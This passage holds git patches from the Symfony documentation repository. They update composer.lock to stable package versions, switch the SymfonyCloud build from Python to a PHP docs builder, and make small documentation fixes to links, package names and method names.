+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -799,7 +724,7 @@
             "description": "Symfony Console Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/console/tree/4.4"
+                "source": "https://github.com/symfony/console/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -815,20 +740,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-13T13:20:53+00:00"
+            "time": "2020-09-15T07:58:55+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "e529efc81e4b3f06932e6ac4e0dab9d536e6afd1"
+                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/e529efc81e4b3f06932e6ac4e0dab9d536e6afd1",
-                "reference": "e529efc81e4b3f06932e6ac4e0dab9d536e6afd1",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
+                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
                 "shasum": ""
             },
             "require": {
@@ -836,7 +761,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -867,7 +794,7 @@
             "description": "Symfony CssSelector Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/4.4"
+                "source": "https://github.com/symfony/css-selector/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -883,7 +810,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-13T13:20:53+00:00"
+            "time": "2020-07-05T09:39:30+00:00"
         },
         {
             "name": "symfony/docs-builder",
@@ -891,7 +818,7 @@
             "source": {
                 "type": "git",
                 "url": "https://github.com/weaverryan/docs-builder",
-                "reference": "5def2fef2e7c8acade040d74d55b9b96fb8ed262"
+                "reference": "e388a6f8cd7a98c34cdc913d18adc9e92ef73441"
             },
             "require": {
                 "doctrine/rst-parser": "dev-master",
@@ -923,20 +850,20 @@
                 "MIT"
             ],
             "description": "The build system for Symfony's documentation",
-            "time": "2020-10-23T00:22:44+00:00"
+            "time": "2020-10-26T22:58:16+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "0e6f7848438ec672ce9230f774d5272ec02e47dc"
+                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/0e6f7848438ec672ce9230f774d5272ec02e47dc",
-                "reference": "0e6f7848438ec672ce9230f774d5272ec02e47dc",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
+                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
                 "shasum": ""
             },
             "require": {
@@ -956,7 +883,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -983,7 +912,7 @@
             "description": "Symfony DomCrawler Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/4.4"
+                "source": "https://github.com/symfony/dom-crawler/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -999,20 +928,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-13T13:20:53+00:00"
+            "time": "2020-10-02T07:34:48+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "0921fda04596119d1bcbe6a17cf9989fadd71095"
+                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/0921fda04596119d1bcbe6a17cf9989fadd71095",
-                "reference": "0921fda04596119d1bcbe6a17cf9989fadd71095",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/ebc51494739d3b081ea543ed7c462fa73a4f74db",
+                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db",
                 "shasum": ""
             },
             "require": {
@@ -1021,7 +950,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -1048,7 +979,7 @@
             "description": "Symfony Filesystem Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/4.4"
+                "source": "https://github.com/symfony/filesystem/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -1064,20 +995,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-21T04:38:54+00:00"
+            "time": "2020-09-27T13:54:16+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "591f0fa22eaf3ad819332ac3de1d4ea67cca5932"
+                "reference": "60d08560f9aa72997c44077c40d47aa28a963230"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/591f0fa22eaf3ad819332ac3de1d4ea67cca5932",
-                "reference": "591f0fa22eaf3ad819332ac3de1d4ea67cca5932",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/60d08560f9aa72997c44077c40d47aa28a963230",
+                "reference": "60d08560f9aa72997c44077c40d47aa28a963230",
                 "shasum": ""
             },
             "require": {
@@ -1085,7 +1016,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -1112,7 +1045,7 @@
             "description": "Symfony Finder Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/4.4"
+                "source": "https://github.com/symfony/finder/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -1128,20 +1061,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-13T13:20:53+00:00"
+            "time": "2020-10-02T07:34:48+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "64db2909fb9311545a118bc46ed620d110cd2e25"
+                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/64db2909fb9311545a118bc46ed620d110cd2e25",
-                "reference": "64db2909fb9311545a118bc46ed620d110cd2e25",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/b1cb966898aaf8df37280fde537a27b6724b3bc4",
+                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4",
                 "shasum": ""
             },
             "require": {
@@ -1168,7 +1101,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -1195,7 +1130,7 @@
             "description": "Symfony HttpClient component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/4.4"
+                "source": "https://github.com/symfony/http-client/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -1211,11 +1146,11 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-20T13:38:40+00:00"
+            "time": "2020-10-02T13:41:48+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "dev-main",
+            "version": "v2.3.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
@@ -1233,7 +1168,6 @@
             "suggest": {
                 "symfony/http-client-implementation": ""
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-version": "2.3",
@@ -1295,29 +1229,28 @@
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b"
+                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/aed596913b70fae57be53d86faa2e9ef85a2297b",
-                "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/f4ba089a5b6366e453971d3aad5fe8e897b37f41",
+                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3"
+                "php": ">=7.1"
             },
             "suggest": {
                 "ext-ctype": "For best performance"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1355,7 +1288,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1371,36 +1304,34 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-intl-idn",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-idn.git",
-                "reference": "fd17ae0603e76ae99d041f567e8611a97d899b03"
+                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/fd17ae0603e76ae99d041f567e8611a97d899b03",
-                "reference": "fd17ae0603e76ae99d041f567e8611a97d899b03",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/3b75acd829741c768bc8b1f84eb33265e7cc5117",
+                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3",
+                "php": ">=7.1",
                 "symfony/polyfill-intl-normalizer": "^1.10",
-                "symfony/polyfill-php70": "^1.10",
                 "symfony/polyfill-php72": "^1.10"
             },
             "suggest": {
                 "ext-intl": "For best performance"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1444,7 +1375,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-idn/tree/main"
+                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1460,33 +1391,32 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:34:17+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27"
+                "reference": "727d1096295d807c309fb01a851577302394c897"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8db0ae7936b42feb370840cf24de1a144fb0ef27",
-                "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/727d1096295d807c309fb01a851577302394c897",
+                "reference": "727d1096295d807c309fb01a851577302394c897",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3"
+                "php": ">=7.1"
             },
             "suggest": {
                 "ext-intl": "For best performance"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1529,7 +1459,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1545,33 +1475,32 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce"
+                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/b5f7b932ee6fa802fc792eabd77c4c88084517ce",
-                "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/39d483bdf39be819deabf04ec872eb0b2410b531",
+                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3"
+                "php": ">=7.1"
             },
             "suggest": {
                 "ext-mbstring": "For best performance"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1610,7 +1539,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1626,111 +1555,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
-        },
-        {
-            "name": "symfony/polyfill-php70",
-            "version": "dev-main",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/symfony/polyfill-php70.git",
-                "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php70/zipball/3fe414077251a81a1b15b1c709faf5c2fbae3d4e",
-                "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e",
-                "shasum": ""
-            },
-            "require": {
-                "paragonie/random_compat": "~1.0|~2.0|~9.99",
-                "php": ">=5.3.3"
-            },
-            "default-branch": true,
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-main": "1.19-dev"
-                },
-                "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php70\\": ""
-                },
-                "files": [
-                    "bootstrap.php"
-                ],
-                "classmap": [
-                    "Resources/stubs"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Nicolas Grekas",
-                    "email": "p@tchwork.com"
-                },
-                {
-                    "name": "Symfony Community",
-                    "homepage": "https://symfony.com/contributors"
-                }
-            ],
-            "description": "Symfony polyfill backporting some PHP 7.0+ features to lower PHP versions",
-            "homepage": "https://symfony.com",
-            "keywords": [
-                "compatibility",
-                "polyfill",
-                "portable",
-                "shim"
-            ],
-            "support": {
-                "source": "https://github.com/symfony/polyfill-php70/tree/v1.19.0"
-            },
-            "funding": [
-                {
-                    "url": "https://symfony.com/sponsor",
-                    "type": "custom"
-                },
-                {
-                    "url": "https://github.com/fabpot",
-                    "type": "github"
-                },
-                {
-                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
-                    "type": "tidelift"
-                }
-            ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-php72",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php72.git",
-                "reference": "beecef6b463b06954638f02378f52496cb84bacc"
+                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/beecef6b463b06954638f02378f52496cb84bacc",
-                "reference": "beecef6b463b06954638f02378f52496cb84bacc",
+                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cede45fcdfabdd6043b3592e83678e42ec69e930",
+                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3"
+                "php": ">=7.1"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1768,7 +1615,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php72/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-php72/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1784,30 +1631,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-php73",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "9d920e3218205554171b2503bb3e4a1366824a16"
+                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/9d920e3218205554171b2503bb3e4a1366824a16",
-                "reference": "9d920e3218205554171b2503bb3e4a1366824a16",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/8ff431c517be11c78c48a39a66d37431e26a6bed",
+                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3"
+                "php": ">=7.1"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1848,7 +1694,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1864,30 +1710,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-php80",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "f54ef00f4678f348f133097fa8c3701d197ff44d"
+                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/f54ef00f4678f348f133097fa8c3701d197ff44d",
-                "reference": "f54ef00f4678f348f133097fa8c3701d197ff44d",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
+                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.0.8"
+                "php": ">=7.1"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1932,7 +1777,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1948,7 +1793,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/process",
@@ -1956,12 +1801,12 @@
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "f3957bcc7ec492baf22812c48e7cccf152491770"
+                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/f3957bcc7ec492baf22812c48e7cccf152491770",
-                "reference": "f3957bcc7ec492baf22812c48e7cccf152491770",
+                "url": "https://api.github.com/repos/symfony/process/zipball/88d47196a2fe06db8f90f0c2a986651e91ee3660",
+                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660",
                 "shasum": ""
             },
             "require": {
@@ -1970,9 +1815,6 @@
             },
             "default-branch": true,
             "type": "library",
-            "extra": {
-                "branch-version": "5.2"
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Process\\": ""
@@ -1998,7 +1840,7 @@
             "description": "Symfony Process Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v5.2.0-BETA2"
+                "source": "https://github.com/symfony/process/tree/5.x"
             },
             "funding": [
                 {
@@ -2014,20 +1856,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-13T13:22:54+00:00"
+            "time": "2020-10-24T12:08:07+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "dev-main",
+            "version": "v2.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "0aeee2f70f4550e6c48c9a796d98f5ceda58dfda"
+                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/0aeee2f70f4550e6c48c9a796d98f5ceda58dfda",
-                "reference": "0aeee2f70f4550e6c48c9a796d98f5ceda58dfda",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/d15da7ba4957ffb8f1747218be9e1a121fd298a1",
+                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1",
                 "shasum": ""
             },
             "require": {
@@ -2037,12 +1879,10 @@
             "suggest": {
                 "symfony/service-implementation": ""
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
-                "branch-version": "2.3",
                 "branch-alias": {
-                    "dev-main": "2.3-dev"
+                    "dev-master": "2.2-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -2079,7 +1919,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/main"
+                "source": "https://github.com/symfony/service-contracts/tree/master"
             },
             "funding": [
                 {
@@ -2095,20 +1935,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-14T17:08:19+00:00"
+            "time": "2020-09-07T11:33:47+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "2.x-dev",
+            "version": "v2.14.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "78173b3c850e344cb8515fc2a05138d39a6c39e0"
+                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/78173b3c850e344cb8515fc2a05138d39a6c39e0",
-                "reference": "78173b3c850e344cb8515fc2a05138d39a6c39e0",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/d495243dade48c39b6a5261c26cdbd8c5703f6a0",
+                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0",
                 "shasum": ""
             },
             "require": {
@@ -2162,7 +2002,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/2.x"
+                "source": "https://github.com/twigphp/Twig/tree/v2.14.0"
             },
             "funding": [
                 {
@@ -2174,7 +2014,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-21T12:45:52+00:00"
+            "time": "2020-10-21T12:35:06+00:00"
         }
     ],
     "packages-dev": [],
@@ -2184,7 +2024,7 @@
         "symfony/docs-builder": 20,
         "symfony/process": 20
     },
-    "prefer-stable": false,
+    "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
         "php": ">=7.2.9"

From 3eeb845cd5269fec8fb338043300396e15e47a13 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 26 Oct 2020 16:43:31 +0100
Subject: [PATCH 0070/5766] Use PHP docs builder for SymfonyCloud deploys

---
 .symfony.cloud.yaml | 20 +++++---------------
 1 file changed, 5 insertions(+), 15 deletions(-)

diff --git a/.symfony.cloud.yaml b/.symfony.cloud.yaml
index faa3c24780e..bcb1a48bf08 100644
--- a/.symfony.cloud.yaml
+++ b/.symfony.cloud.yaml
@@ -5,12 +5,12 @@
 name: symfonydocs
 
 # The toolstack used to build the application.
-type: "python:3.7"
+type: "php:7.2"
 
 # The configuration of app when it is exposed to the web.
 web:
     # The public directory of the app, relative to its root.
-    document_root: "/_build/html"
+    document_root: "/_build/output"
     index_files:
       - index.html
     whitelist:
@@ -40,19 +40,9 @@ web:
 # The size of the persistent disk of the application (in MB).
 disk: 512
 
-# Build time dependencies.
-dependencies:
-  python:
-    virtualenv: 15.1.0
-
 # The hooks that will be performed when the package is deployed.
 hooks:
     build: |
-      virtualenv .virtualenv
-      . .virtualenv/bin/activate
-      # SymfonyCloud currently sets PIP_USER=1.
-      export PIP_USER=
-      pip install pip==9.0.1 wheel==0.29.0
-      pip install -r _build/.requirements.txt
-      find .virtualenv -type f -name "*.rst" -delete
-      make -C _build html
+      cd _build
+      composer install --prefer-dist --no-progress
+      php build.php

From 09be97abda04f5b6a865baa0ecefd1029e2d067d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Yann=20Eugon=C3=A9?= <eugone.yann@gmail.com>
Date: Mon, 26 Oct 2020 10:34:08 +0100
Subject: [PATCH 0071/5766] [DependencyInjection] Fix tagged service priority
 inconsistent method name

---
 service_container/tags.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7aee0061c0c..7ec5fcc5637 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -655,8 +655,9 @@ service itself::
         }
     }
 
-If you want to have another method defining the priority, you can define it
-in the configuration of the collecting service:
+If you want to have another method defining the priority 
+(e.g. ``getPriority()`` rather than ``getDefaultPriority()``),
+you can define it in the configuration of the collecting service:
 
 .. configuration-block::
 

From 0d182b33c00c00977d8cd468a068ca463c71bc9d Mon Sep 17 00:00:00 2001
From: Med Ghaith Sellami <medghaith.sellami@gmail.com>
Date: Tue, 27 Oct 2020 20:35:28 +0100
Subject: [PATCH 0072/5766] update PHP callable docs link

---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index e89441e6a08..0344acf4e8e 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -532,4 +532,4 @@ Learn More
 .. _Mediator: https://en.wikipedia.org/wiki/Mediator_pattern
 .. _Observer: https://en.wikipedia.org/wiki/Observer_pattern
 .. _Closures: https://www.php.net/manual/en/functions.anonymous.php
-.. _PHP callable: https://www.php.net/manual/en/language.pseudo-types.php#language.types.callback
+.. _PHP callable: https://www.php.net/manual/en/language.types.callable.php

From 46ba35933a1480ac981c7a1ccf0d53534f544815 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 30 Oct 2020 08:58:52 +0100
Subject: [PATCH 0073/5766] Update to twig/cssinliner-extra

---
 components/mime.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/mime.rst b/components/mime.rst
index ce884a51193..95206fa22e3 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -103,12 +103,12 @@ extension:
 
 .. code-block:: terminal
 
-    $ composer require twig/cssinliner-extension
+    $ composer require twig/cssinliner-extra
 
 Now, enable the extension::
 
     // ...
-    use Twig\CssInliner\CssInlinerExtension;
+    use Twig\Extra\CssInliner\CssInlinerExtension;
 
     $loader = new FilesystemLoader(__DIR__.'/templates');
     $twig = new Environment($loader);

From 5a36f03d309624c8dd2d251d9db5a0c666e7c7df Mon Sep 17 00:00:00 2001
From: Wouter J <wouterj@users.noreply.github.com>
Date: Fri, 30 Oct 2020 10:39:54 +0100
Subject: [PATCH 0074/5766] Fixed code block rendering

---
 components/process.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/process.rst b/components/process.rst
index 8664ddead85..f89935036f1 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -394,7 +394,7 @@ Using a Prepared Command Line
